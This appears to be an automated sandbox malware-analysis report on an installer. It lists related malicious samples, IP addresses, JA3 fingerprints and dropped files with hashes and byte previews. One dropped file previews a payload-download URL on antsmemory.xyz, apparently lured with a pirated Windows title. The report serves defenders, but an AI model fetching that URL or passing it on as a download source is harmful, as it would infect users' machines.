	DOC_SCANNER_847464_8474.vbs	Get hash	malicious	Remcos	Browse	172.67.135.130
	PuZwdDGX86.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	B5pYT6AvvO.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	Paid_invoice.vbs	Get hash	malicious	XWorm	Browse	104.21.84.67
	Gcn7BdFE9N.exe	Get hash	malicious	Glupteba, LummaC Stealer, SmokeLoader, Stealc	Browse	172.67.175.187
	oREY4oLwHG.exe	Get hash	malicious	Unknown	Browse	172.67.219.140
	2Mmd9FBNnQ.exe	Get hash	malicious	Unknown	Browse	172.67.219.140
	https://getnindscompany.com/JZRE5bGyD2RzGES8kTpkzQXBOgA0GrGylWAB3lx1LEE	Get hash	malicious	Unknown	Browse	172.67.72.9
	yY6LCHPn1S.exe	Get hash	malicious	DCRat, zgRAT	Browse	172.67.178.175
CLOUDFLARENETUS	630DB15B4A855CA42E13666E2046C639A4C2847E0D1FC.exe	Get hash	malicious	AsyncRAT	Browse	104.20.23.46
	F2156D1783E3AC6CE1A003A5543AB525A648D87061ED9.exe	Get hash	malicious	Unknown	Browse	104.21.61.51
	file.exe	Get hash	malicious	LummaC, zgRAT	Browse	172.67.176.158
	06e1d13364b76b83f833ca1ff7851fb37e09f2ad2fe41.exe	Get hash	malicious	Unknown	Browse	172.67.219.140
	SecuriteInfo.com.Trojan.Win64.Vmprotect.10850.25534.exe	Get hash	malicious	Unknown	Browse	104.26.0.5
	SecuriteInfo.com.Trojan.Win64.Vmprotect.10850.25534.exe	Get hash	malicious	Unknown	Browse	104.26.0.5
	BbTm8TrVqb.exe	Get hash	malicious	LummaC, AsyncRAT, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, PureLog Stealer	Browse	104.21.35.143
	SecuriteInfo.com.Trojan-Spy.AgentTesla.19330.30734.exe	Get hash	malicious	Unknown	Browse	172.64.151.238
	SecuriteInfo.com.Trojan-Spy.AgentTesla.19330.30734.exe	Get hash	malicious	Unknown	Browse	172.64.151.101
	TgzLrzVYBu.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	qRNGy553ii.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	DOC_SCANNER_847464_8474.vbs	Get hash	malicious	Remcos	Browse	172.67.135.130
	PuZwdDGX86.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	B5pYT6AvvO.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	Paid_invoice.vbs	Get hash	malicious	XWorm	Browse	104.21.84.67
	Gcn7BdFE9N.exe	Get hash	malicious	Glupteba, LummaC Stealer, SmokeLoader, Stealc	Browse	172.67.175.187
	oREY4oLwHG.exe	Get hash	malicious	Unknown	Browse	172.67.219.140
	2Mmd9FBNnQ.exe	Get hash	malicious	Unknown	Browse	172.67.219.140
	https://getnindscompany.com/JZRE5bGyD2RzGES8kTpkzQXBOgA0GrGylWAB3lx1LEE	Get hash	malicious	Unknown	Browse	172.67.72.9
	yY6LCHPn1S.exe	Get hash	malicious	DCRat, zgRAT	Browse	172.67.178.175

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	F2156D1783E3AC6CE1A003A5543AB525A648D87061ED9.exe	Get hash	malicious	Unknown	Browse	104.21.38.59
	06e1d13364b76b83f833ca1ff7851fb37e09f2ad2fe41.exe	Get hash	malicious	Unknown	Browse	104.21.38.59
	BbTm8TrVqb.exe	Get hash	malicious	LummaC, AsyncRAT, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, PureLog Stealer	Browse	104.21.38.59
	SecuriteInfo.com.Adware.MultiInstall.6.15227.25623.exe	Get hash	malicious	Unknown	Browse	104.21.38.59
	SecuriteInfo.com.Trojan.DownLoader11.3092.1954.27622.exe	Get hash	malicious	Unknown	Browse	104.21.38.59
	SecuriteInfo.com.Win32.Agent-AXGJ.26296.2938.exe	Get hash	malicious	Unknown	Browse	104.21.38.59
	SecuriteInfo.com.Win32.Agent-AXGJ.26296.2938.exe	Get hash	malicious	Unknown	Browse	104.21.38.59
	SecuriteInfo.com.FileRepMalware.30610.16925.exe	Get hash	malicious	Unknown	Browse	104.21.38.59
	SecuriteInfo.com.Trojan.DownLoad3.12809.12806.18629.exe	Get hash	malicious	Unknown	Browse	104.21.38.59
	SecuriteInfo.com.FileRepMalware.14481.12615.exe	Get hash	malicious	Unknown	Browse	104.21.38.59
	SecuriteInfo.com.Win32.Evo-gen.21833.7568.exe	Get hash	malicious	Unknown	Browse	104.21.38.59
	onYAhIEZyW.exe	Get hash	malicious	GuLoader, Remcos	Browse	104.21.38.59
	oREY4oLwHG.exe	Get hash	malicious	Unknown	Browse	104.21.38.59
	2Mmd9FBNnQ.exe	Get hash	malicious	Unknown	Browse	104.21.38.59
	dKHFqLG7Ys.exe	Get hash	malicious	Fabookie	Browse	104.21.38.59
	dKHFqLG7Ys.exe	Get hash	malicious	Fabookie	Browse	104.21.38.59
	buildz.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	104.21.38.59
	amer.exe	Get hash	malicious	Amadey, RedLine	Browse	104.21.38.59
	SecuriteInfo.com.Program.Unwanted.5413.12849.26268.exe	Get hash	malicious	Unknown	Browse	104.21.38.59
	6BDBCF945B0B9601032F9711F625B9855F53600BEE8A6.exe	Get hash	malicious	Unknown	Browse	104.21.38.59

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\_isetup\_setup64.tmp	F2156D1783E3AC6CE1A003A5543AB525A648D87061ED9.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Program.Unwanted.5413.12849.26268.exe	Get hash	malicious	Unknown	Browse
	6BDBCF945B0B9601032F9711F625B9855F53600BEE8A6.exe	Get hash	malicious	Unknown	Browse
	C5A6377F2AC72B0E24F3F44995EEEDD5591825C59EF70.exe	Get hash	malicious	Unknown	Browse
	2D5770EB59209D2238670233CB2BE6424F7974800B83F.exe	Get hash	malicious	Unknown	Browse
	6D3F3F26752DF1A041952CEAB949662805FFF34D6D06D.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win32.Malware-gen.4173.19795.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win32.Malware-gen.4173.19795.exe	Get hash	malicious	Unknown	Browse
	D1E33311A3E42A9C958CED92087534253817C228A36A6.exe	Get hash	malicious	Unknown	Browse
	5672D5B80770DEB68BF2435FEF12D521C04CE012250CC.exe	Get hash	malicious	Unknown	Browse
	F85362FA96806CE4FF93B8A49E0E74F65DEA0B759AE87.exe	Get hash	malicious	Unknown	Browse
	5672D5B80770DEB68BF2435FEF12D521C04CE012250CC.exe	Get hash	malicious	Unknown	Browse
	A1318324E8604DD73AFC5FE4241F1FC29771DE37DE98B.exe	Get hash	malicious	Unknown	Browse
	F85362FA96806CE4FF93B8A49E0E74F65DEA0B759AE87.exe	Get hash	malicious	Unknown	Browse
	2960752406911082906D73A7BD80BD2B5815425A6ED0E.exe	Get hash	malicious	Unknown	Browse
	0AD888FB7715FA597961E058A51D397B78F5518EC63D1.exe	Get hash	malicious	Unknown	Browse
	d47b38d68c7ef6c19add401c1c6defb99aef1fac8fd28.exe	Get hash	malicious	Unknown	Browse
	d47b38d68c7ef6c19add401c1c6defb99aef1fac8fd28.exe	Get hash	malicious	Unknown	Browse
	69e6517b2ee056dd1f5f70c46faf6235b84db97a74a65.exe	Get hash	malicious	Unknown	Browse
	w1J9KDIC0m.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\ar[1].php

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	444BCB3A3FCF8389296C49467F27E1D6
SHA1:	7A85F4764BBD6DAF1C3545EFBBF0F279A6DC0BEB
SHA-256:	2689367B205C16CE32ED4200942B8B8B1E262DFC70D9BC9FBC77C49699A4F1DF
SHA-512:	9FBBBB5A0F329F9782E2356FA41D89CF9B3694327C1A934D6AF2A9DF2D7F936CE83717FB513196A4CE5548471708CD7134C2AE99B3C357BCABB2EAFC7B9B7570
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	ok

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\ss[1].php

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	444BCB3A3FCF8389296C49467F27E1D6
SHA1:	7A85F4764BBD6DAF1C3545EFBBF0F279A6DC0BEB
SHA-256:	2689367B205C16CE32ED4200942B8B8B1E262DFC70D9BC9FBC77C49699A4F1DF
SHA-512:	9FBBBB5A0F329F9782E2356FA41D89CF9B3694327C1A934D6AF2A9DF2D7F936CE83717FB513196A4CE5548471708CD7134C2AE99B3C357BCABB2EAFC7B9B7570
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	ok

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\ar[1].php

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	444BCB3A3FCF8389296C49467F27E1D6
SHA1:	7A85F4764BBD6DAF1C3545EFBBF0F279A6DC0BEB
SHA-256:	2689367B205C16CE32ED4200942B8B8B1E262DFC70D9BC9FBC77C49699A4F1DF
SHA-512:	9FBBBB5A0F329F9782E2356FA41D89CF9B3694327C1A934D6AF2A9DF2D7F936CE83717FB513196A4CE5548471708CD7134C2AE99B3C357BCABB2EAFC7B9B7570
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	ok

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\ar[2].php

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	444BCB3A3FCF8389296C49467F27E1D6
SHA1:	7A85F4764BBD6DAF1C3545EFBBF0F279A6DC0BEB
SHA-256:	2689367B205C16CE32ED4200942B8B8B1E262DFC70D9BC9FBC77C49699A4F1DF
SHA-512:	9FBBBB5A0F329F9782E2356FA41D89CF9B3694327C1A934D6AF2A9DF2D7F936CE83717FB513196A4CE5548471708CD7134C2AE99B3C357BCABB2EAFC7B9B7570
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	ok

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\ar[1].php

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	444BCB3A3FCF8389296C49467F27E1D6
SHA1:	7A85F4764BBD6DAF1C3545EFBBF0F279A6DC0BEB
SHA-256:	2689367B205C16CE32ED4200942B8B8B1E262DFC70D9BC9FBC77C49699A4F1DF
SHA-512:	9FBBBB5A0F329F9782E2356FA41D89CF9B3694327C1A934D6AF2A9DF2D7F936CE83717FB513196A4CE5548471708CD7134C2AE99B3C357BCABB2EAFC7B9B7570
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	ok

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\ar[1].php

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	444BCB3A3FCF8389296C49467F27E1D6
SHA1:	7A85F4764BBD6DAF1C3545EFBBF0F279A6DC0BEB
SHA-256:	2689367B205C16CE32ED4200942B8B8B1E262DFC70D9BC9FBC77C49699A4F1DF
SHA-512:	9FBBBB5A0F329F9782E2356FA41D89CF9B3694327C1A934D6AF2A9DF2D7F936CE83717FB513196A4CE5548471708CD7134C2AE99B3C357BCABB2EAFC7B9B7570
Malicious:	false
Preview:	ok

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\ar[2].php

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	444BCB3A3FCF8389296C49467F27E1D6
SHA1:	7A85F4764BBD6DAF1C3545EFBBF0F279A6DC0BEB
SHA-256:	2689367B205C16CE32ED4200942B8B8B1E262DFC70D9BC9FBC77C49699A4F1DF
SHA-512:	9FBBBB5A0F329F9782E2356FA41D89CF9B3694327C1A934D6AF2A9DF2D7F936CE83717FB513196A4CE5548471708CD7134C2AE99B3C357BCABB2EAFC7B9B7570
Malicious:	false
Preview:	ok

C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp

Download File

Process:	C:\Users\user\Desktop\81B7FB00321A57D0632B50993D514D34E586E86564C13.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3199488
Entropy (8bit):	6.325048898404614
Encrypted:	false
SSDEEP:	49152:2WGtLBcXqFpBR6SVb8kq4pgquLMMji4NYxtJpkxhGjIHTbQ333TY:6tLutqgwh4NYxtJpkxhGj333T
MD5:	B0DF60DD7F65B421D2CB6A89CE87A876
SHA1:	8BCDFE5E3A5517D8B30BBF92B3F983DED5AD6D59
SHA-256:	90C144E19F31E5D7F4A43B4B98C29B1A391B2A43FE13527C681C20C7CCA3B2AF
SHA-512:	FE3DD6497E636443F9B9423DE1018A769E99A1EE2339FCE602E9CE1D83177084A8CCB750AAEA1BF0786DD711472A974949264F826F1E5675E2BC90578CF09D6F
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......c.................L,.........hf,......p,...@...........................1...........@......@....................-.......-..9...................................................................................-.......-......................text.... ,......",................. ..`.itext...(...@,.....&,............. ..`.data...X....p,......P,.............@....bss.....y....-..........................idata...9....-..:....,.............@....didata.......-.......-.............@....edata........-......-.............@..@.tls....L.....-..........................rdata..]............,-.............@..@.rsrc.................-.............@..@..............1.......0.............@..@........................................................

C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.720366600008286
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
MD5:	E4211D6D009757C078A9FAC7FF4F03D4
SHA1:	019CD56BA687D39D12D4B13991C9A42EA6BA03DA
SHA-256:	388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
SHA-512:	17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: F2156D1783E3AC6CE1A003A5543AB525A648D87061ED9.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Program.Unwanted.5413.12849.26268.exe, Detection: malicious, Browse Filename: 6BDBCF945B0B9601032F9711F625B9855F53600BEE8A6.exe, Detection: malicious, Browse Filename: C5A6377F2AC72B0E24F3F44995EEEDD5591825C59EF70.exe, Detection: malicious, Browse Filename: 2D5770EB59209D2238670233CB2BE6424F7974800B83F.exe, Detection: malicious, Browse Filename: 6D3F3F26752DF1A041952CEAB949662805FFF34D6D06D.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.Malware-gen.4173.19795.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.Malware-gen.4173.19795.exe, Detection: malicious, Browse Filename: D1E33311A3E42A9C958CED92087534253817C228A36A6.exe, Detection: malicious, Browse Filename: 5672D5B80770DEB68BF2435FEF12D521C04CE012250CC.exe, Detection: malicious, Browse Filename: F85362FA96806CE4FF93B8A49E0E74F65DEA0B759AE87.exe, Detection: malicious, Browse Filename: 5672D5B80770DEB68BF2435FEF12D521C04CE012250CC.exe, Detection: malicious, Browse Filename: A1318324E8604DD73AFC5FE4241F1FC29771DE37DE98B.exe, Detection: malicious, Browse Filename: F85362FA96806CE4FF93B8A49E0E74F65DEA0B759AE87.exe, Detection: malicious, Browse Filename: 2960752406911082906D73A7BD80BD2B5815425A6ED0E.exe, Detection: malicious, Browse Filename: 0AD888FB7715FA597961E058A51D397B78F5518EC63D1.exe, Detection: malicious, Browse Filename: d47b38d68c7ef6c19add401c1c6defb99aef1fac8fd28.exe, Detection: malicious, Browse Filename: d47b38d68c7ef6c19add401c1c6defb99aef1fac8fd28.exe, Detection: malicious, Browse Filename: 69e6517b2ee056dd1f5f70c46faf6235b84db97a74a65.exe, Detection: malicious, Browse Filename: w1J9KDIC0m.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\erku (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	157
Entropy (8bit):	5.554201526690587
Encrypted:	false
SSDEEP:	3:N1KflPbduKHiVoYEgbqOY7eqnQ0T4t9VkUnCFunaOZQVomQdQkn:CtPbduYirEgAnetvkUnC5OPdTn
MD5:	5650174E233A66DCC40F240E9883ADD1
SHA1:	181A025A4AF9980B1B77590D2754347609D8A57B
SHA-256:	FF077C6515A3CBFE8991771438BD0C4FCF6B67249F0EF12700C4DA6A0BDC3817
SHA-512:	E10A5FF964F31B64BDFE954B72AFB00C1C5CFA0D32F8AD601E099E566E0BA0BCE113D8B680707C1E7904FC6E2BAA8FBE88CAC06976C0BDFE653B6E4EED7A9ACF
Malicious:	false
Preview:	http://antsmemory.xyz/pe/build.php?pe=1&sub=&source=3954&s1=47959833&title=V2luZG93cyA3IEJsYWNrIEVkaXRpb24gRnJlZSBEb3dubG9hZCBGdWxsLmV4ZQ%3D%3D&ti=1705852625

C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\is-1S2IB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	3468151
Entropy (8bit):	7.998218819078005
Encrypted:	true
SSDEEP:	49152:oNawPZAJeHTdYMY72E7X0B/lzdWBDRs7Z1/sInvRhKzU0Dq2krobh3e0l:wtAgg2eo7WBcrse5hpFrOb
MD5:	C4A2A4B22F3D1021ABB5414EECC4E1B5
SHA1:	512B09033E82D2215FAF51E4FC7C4402D3E5605D
SHA-256:	CF877FBC7B319DEB5910FF7A39F8B732E91A03A37DBCF74B4A3EBBE18D41D0B6
SHA-512:	263799C92E9BADE9615F758489DFD7579075ADC944B48CDC0060682CD85985295A25C02E59EDAA9157C01105AA2A14B2A0973D4E190F0B6450B42CC7066A86CA
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..iu..i..iw..iu..i...i..id..i!..i...i...it..iRichu..i........................PE..L......K.................\..........<2.......p....@..........................................................................s.......`...?...........................................................................p...............................text...ZZ.......\.................. ..`.rdata.......p.......`..............@..@.data................r..............@....ndata... ...@...........................rsrc....?...`...@...v..............@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\is-28V37.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	157
Entropy (8bit):	5.554201526690587
Encrypted:	false
SSDEEP:	3:N1KflPbduKHiVoYEgbqOY7eqnQ0T4t9VkUnCFunaOZQVomQdQkn:CtPbduYirEgAnetvkUnC5OPdTn
MD5:	5650174E233A66DCC40F240E9883ADD1
SHA1:	181A025A4AF9980B1B77590D2754347609D8A57B
SHA-256:	FF077C6515A3CBFE8991771438BD0C4FCF6B67249F0EF12700C4DA6A0BDC3817
SHA-512:	E10A5FF964F31B64BDFE954B72AFB00C1C5CFA0D32F8AD601E099E566E0BA0BCE113D8B680707C1E7904FC6E2BAA8FBE88CAC06976C0BDFE653B6E4EED7A9ACF
Malicious:	false
Preview:	http://antsmemory.xyz/pe/build.php?pe=1&sub=&source=3954&s1=47959833&title=V2luZG93cyA3IEJsYWNrIEVkaXRpb24gRnJlZSBEb3dubG9hZCBGdWxsLmV4ZQ%3D%3D&ti=1705852625

C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\is-R68UJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	3468151
Entropy (8bit):	7.998218819078005
Encrypted:	true
SSDEEP:	49152:oNawPZAJeHTdYMY72E7X0B/lzdWBDRs7Z1/sInvRhKzU0Dq2krobh3e0l:wtAgg2eo7WBcrse5hpFrOb
MD5:	C4A2A4B22F3D1021ABB5414EECC4E1B5
SHA1:	512B09033E82D2215FAF51E4FC7C4402D3E5605D
SHA-256:	CF877FBC7B319DEB5910FF7A39F8B732E91A03A37DBCF74B4A3EBBE18D41D0B6
SHA-512:	263799C92E9BADE9615F758489DFD7579075ADC944B48CDC0060682CD85985295A25C02E59EDAA9157C01105AA2A14B2A0973D4E190F0B6450B42CC7066A86CA
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..iu..i..iw..iu..i...i..id..i!..i...i...it..iRichu..i........................PE..L......K.................\..........<2.......p....@..........................................................................s.......`...?...........................................................................p...............................text...ZZ.......\.................. ..`.rdata.......p.......`..............@..@.data................r..............@....ndata... ...@...........................rsrc....?...`...@...v..............@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\is-RT49M.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	444BCB3A3FCF8389296C49467F27E1D6
SHA1:	7A85F4764BBD6DAF1C3545EFBBF0F279A6DC0BEB
SHA-256:	2689367B205C16CE32ED4200942B8B8B1E262DFC70D9BC9FBC77C49699A4F1DF
SHA-512:	9FBBBB5A0F329F9782E2356FA41D89CF9B3694327C1A934D6AF2A9DF2D7F936CE83717FB513196A4CE5548471708CD7134C2AE99B3C357BCABB2EAFC7B9B7570
Malicious:	false
Preview:	ok

C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\ret (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	444BCB3A3FCF8389296C49467F27E1D6
SHA1:	7A85F4764BBD6DAF1C3545EFBBF0F279A6DC0BEB
SHA-256:	2689367B205C16CE32ED4200942B8B8B1E262DFC70D9BC9FBC77C49699A4F1DF
SHA-512:	9FBBBB5A0F329F9782E2356FA41D89CF9B3694327C1A934D6AF2A9DF2D7F936CE83717FB513196A4CE5548471708CD7134C2AE99B3C357BCABB2EAFC7B9B7570
Malicious:	false
Preview:	ok

C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	3468151
Entropy (8bit):	7.998218819078005
Encrypted:	true
SSDEEP:	49152:oNawPZAJeHTdYMY72E7X0B/lzdWBDRs7Z1/sInvRhKzU0Dq2krobh3e0l:wtAgg2eo7WBcrse5hpFrOb
MD5:	C4A2A4B22F3D1021ABB5414EECC4E1B5
SHA1:	512B09033E82D2215FAF51E4FC7C4402D3E5605D
SHA-256:	CF877FBC7B319DEB5910FF7A39F8B732E91A03A37DBCF74B4A3EBBE18D41D0B6
SHA-512:	263799C92E9BADE9615F758489DFD7579075ADC944B48CDC0060682CD85985295A25C02E59EDAA9157C01105AA2A14B2A0973D4E190F0B6450B42CC7066A86CA
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..iu..i..iw..iu..i...i..id..i!..i...i...it..iRichu..i........................PE..L......K.................\..........<2.......p....@..........................................................................s.......`...?...........................................................................p...............................text...ZZ.......\.................. ..`.rdata.......p.......`..............@..@.data................r..............@....ndata... ...@...........................rsrc....?...`...@...v..............@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nskDC2.tmp\inetc.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	23040
Entropy (8bit):	5.540206398655926
Encrypted:	false
SSDEEP:	384:PWc7V9H6MVsnCPFN4DC5/kdhdj/ouVj19L0d10Ac9khYLMkIX0+GbyeEaI2sJ:PWqTH/V7tHSWutp
MD5:	CAB75D596ADF6BAC4BA6A8374DD71DE9
SHA1:	FB90D4F13331D0C9275FA815937A4FF22EAD6FA3
SHA-256:	89E24E4124B607F3F98E4DF508C4DDD2701D8F7FCF1DC6E2ABA11D56C97C0C5A
SHA-512:	510786599289C8793526969CFE0A96E049436D40809C1C351642B2C67D5FB2394CB20887010727A5DA35C52A20C5557AD940967053B1B59AD91CA1307208C391
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........yP..P..P...:.Y..P......["R...[#Q...[.Q..]..Q...[.Q..RichP..........PE..L...?..V...........!.........^......!0.......@............................................@..........................D..l....D..d...............................X....................................................@..P............................text...!,.......................... ..`.rdata.......@.......2..............@..@.data...<<...P.......@..............@....rsrc................H..............@..@.reloc..X............R..............@..B................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nskDC2.tmp\s

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	444BCB3A3FCF8389296C49467F27E1D6
SHA1:	7A85F4764BBD6DAF1C3545EFBBF0F279A6DC0BEB
SHA-256:	2689367B205C16CE32ED4200942B8B8B1E262DFC70D9BC9FBC77C49699A4F1DF
SHA-512:	9FBBBB5A0F329F9782E2356FA41D89CF9B3694327C1A934D6AF2A9DF2D7F936CE83717FB513196A4CE5548471708CD7134C2AE99B3C357BCABB2EAFC7B9B7570
Malicious:	false
Preview:	ok

C:\Users\user\AppData\Local\Temp\nskDC2.tmp\status.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	444BCB3A3FCF8389296C49467F27E1D6
SHA1:	7A85F4764BBD6DAF1C3545EFBBF0F279A6DC0BEB
SHA-256:	2689367B205C16CE32ED4200942B8B8B1E262DFC70D9BC9FBC77C49699A4F1DF
SHA-512:	9FBBBB5A0F329F9782E2356FA41D89CF9B3694327C1A934D6AF2A9DF2D7F936CE83717FB513196A4CE5548471708CD7134C2AE99B3C357BCABB2EAFC7B9B7570
Malicious:	false
Preview:	ok

C:\Users\user\AppData\Local\Temp\nsrED96.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe
File Type:	data
Category:	dropped
Size (bytes):	3634057
Entropy (8bit):	7.9392006603729275
Encrypted:	false
SSDEEP:	98304:bzBOBfKMpHGqcfsLyQecNEqCNCjRqGy5XYBHOhN2qlx:bz/MpmJ0LdDLCAyiHOv
